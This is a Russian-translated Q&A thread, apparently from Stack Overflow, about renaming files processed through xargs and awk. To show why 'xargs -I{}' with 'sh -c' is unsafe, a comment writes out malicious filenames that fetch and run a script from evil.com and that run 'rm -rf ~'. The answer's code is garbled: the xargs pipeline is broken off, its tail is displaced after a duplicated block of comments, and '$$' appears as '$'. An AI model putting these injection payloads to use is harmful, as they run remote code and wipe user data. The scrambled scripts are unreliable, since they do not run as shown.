#linux #macos #unix #xargs
Вопрос:
Я использую xargs для изменения файлов. Я хотел бы, чтобы команда переименовала созданный файл tmp обратно в исходное имя входного файла. Как мне получить доступ к строке, хранящейся в {} xargs?
xargs - I {} COMMAND HERE {} > tmp amp;amp; mv tmp {}
Я пытаюсь адаптировать команду:
awk '{gsub("1","0",$6)}1' file.fam | awk '{gsub("2","1",$6)}1'> tmp amp;amp; mv tmp file.fam
Чтобы выполнить действие для всех файлов с расширением .fam в папке:
ls | grep ".fam" | xargs -I {} awk '{gsub("1","0",$6)}1' {} | awk '{gsub("2","1",$6)}1'> tmp amp;amp; mv temp {}
Комментарии:
1. Покажите свою настоящую команду-детали имеют значение. Тем не менее, в целом,
-I{}
это плохая идея, и ее лучше избегать. Если вы напишете свою команду для получения позиционных аргументов из xargs, вам это не понадобится, и таким образом будет гораздо меньше рисков для безопасности.2. Чтобы объяснить , что я имею в виду под «защитой безопасности» — например, если вы запустите
find /tmp -name '*.deleteme' | xargs -I{} sh -c 'rm {}'
, то кто-то, кто создаст файл с именем/tmp/$(curl http://evil.com/rootme.sh | sh).deleteme
, сделает так, что у вас будет очень, очень плохой день. И да, это полностью допустимое имя файла. Добавление кавычек вокруг также{}
не решает проблему; подумайте о/tmp/$(rm -rf ~)'$(rm -rf ~)'.deleteme
том, что это работает в любом контексте цитирования оболочки (в одинарных кавычках, в двойных кавычках, без кавычек, в кавычках типа C).3. Кроме того, использование
xargs -I{}
подразумевает-n 1
; так что это не просто менее безопасно, но и медленнее, потому что для каждого ввода необходимо запускать совершенно новый подпроцесс.4. Я добавил свою первоначальную команду, а также свою попытку выполнить команду @CharlesDuffy. Я не уверен, что такое позиционное соглашение…. Мне очень жаль >_>
5. (также см. ПарсингЛы )
Ответ №1:
Не используйте xargs -I
вообще, если вы можете этого избежать.
Предполагая линейно-ориентированный ввод и GNU xargs:
updateFile() {
awk '{gsub("1","0",$6)}1' <"$1"
| awk '{gsub("2","1",$6)}1' >"$1.tmp.$"
amp;amp; mv -- "$1.tmp.$" "$1"
}
find . -name '*.fam' -print
| xargs -d
Смотрите также BashPitfalls #56 о том, как все виды использования xargs
without -0
небезопасны. ( -d $'n'
не так безопасно , как -0
, но если вы не можете переписать другие компоненты конвейера, чтобы использовать разделители NUL, это 2-я лучшая вещь).
Тем не менее, для вашего реального случая использования вам xargs
это вообще не нужно.
for f in *.fam; do
awk '{gsub("1","0",$6)}1' <"$f"
| awk '{gsub("2","1",$6)}1' >"$f.out"
amp;amp; mv -- "$f.out" "$f"
done
Комментарии:
1. Спасибо. Я надеюсь, что мои обновления помогут, так как у меня есть одинарные кавычки, и я не уверен, что такое экспортируемая функция.. Я прошу прощения.... Моим альтернативным решением был бы сценарий bash, в котором я передаю ему пути к файлам с помощью "найти" $(pwd) "- типа f"
2. Я также никогда не использую файлы с пробелами, и это стандартно в моей лаборатории, поэтому я думаю, что писать xargs без -0 нормально.
3. @Небоскреб Только потому, что вы не собираетесь использовать пробелы, не означает, что они не будут отображаться в вашей системе. Худшее событие потери данных, в котором я когда-либо присутствовал, было вызвано ошибкой, из-за которой мусор сбрасывался в буфер, используемый для имен файлов; этот мусор был
*
окружен пробелами, и когда ошибочный скрипт попытался удалить файл мусора, он также удалил несколько ТБ резервных копий данных для выставления счетов. Это был первый раз, когда несколько коллег видели подобное событие за свою многолетнюю карьеру, но оно было достаточно дорогим, чтобы вы не захотели его даже один раз.4. @Небоскреб, кстати, подумай
find "$PWD" -type f
-это немного быстрее, чем$(pwd)
.5. @Небоскреб, см. правку, показывающую, как работать с одинарными кавычками. (Я решил не использовать экспортируемую функцию и вместо этого использую
declare -f
для того, чтобы просто выдавать объявление функции в код, выполняемый оболочкой дочернего процесса).
n' bash -c "$(declare -f updateFile); "'
for arg; do updateFile "$arg"; done
' _
Смотрите также BashPitfalls #56 о том, как все виды использования xargs
without -0
небезопасны. ( -d $'n'
не так безопасно , как -0
, но если вы не можете переписать другие компоненты конвейера, чтобы использовать разделители NUL, это 2-я лучшая вещь).
Тем не менее, для вашего реального случая использования вам xargs
это вообще не нужно.
Комментарии:
1. Спасибо. Я надеюсь, что мои обновления помогут, так как у меня есть одинарные кавычки, и я не уверен, что такое экспортируемая функция.. Я прошу прощения…. Моим альтернативным решением был бы сценарий bash, в котором я передаю ему пути к файлам с помощью «найти» $(pwd) «- типа f»
2. Я также никогда не использую файлы с пробелами, и это стандартно в моей лаборатории, поэтому я думаю, что писать xargs без -0 нормально.
3. @Небоскреб Только потому, что вы не собираетесь использовать пробелы, не означает, что они не будут отображаться в вашей системе. Худшее событие потери данных, в котором я когда-либо присутствовал, было вызвано ошибкой, из-за которой мусор сбрасывался в буфер, используемый для имен файлов; этот мусор был
*
окружен пробелами, и когда ошибочный скрипт попытался удалить файл мусора, он также удалил несколько ТБ резервных копий данных для выставления счетов. Это был первый раз, когда несколько коллег видели подобное событие за свою многолетнюю карьеру, но оно было достаточно дорогим, чтобы вы не захотели его даже один раз.4. @Небоскреб, кстати, подумай
find "$PWD" -type f
-это немного быстрее, чем$(pwd)
.5. @Небоскреб, см. правку, показывающую, как работать с одинарными кавычками. (Я решил не использовать экспортируемую функцию и вместо этого использую
declare -f
для того, чтобы просто выдавать объявление функции в код, выполняемый оболочкой дочернего процесса).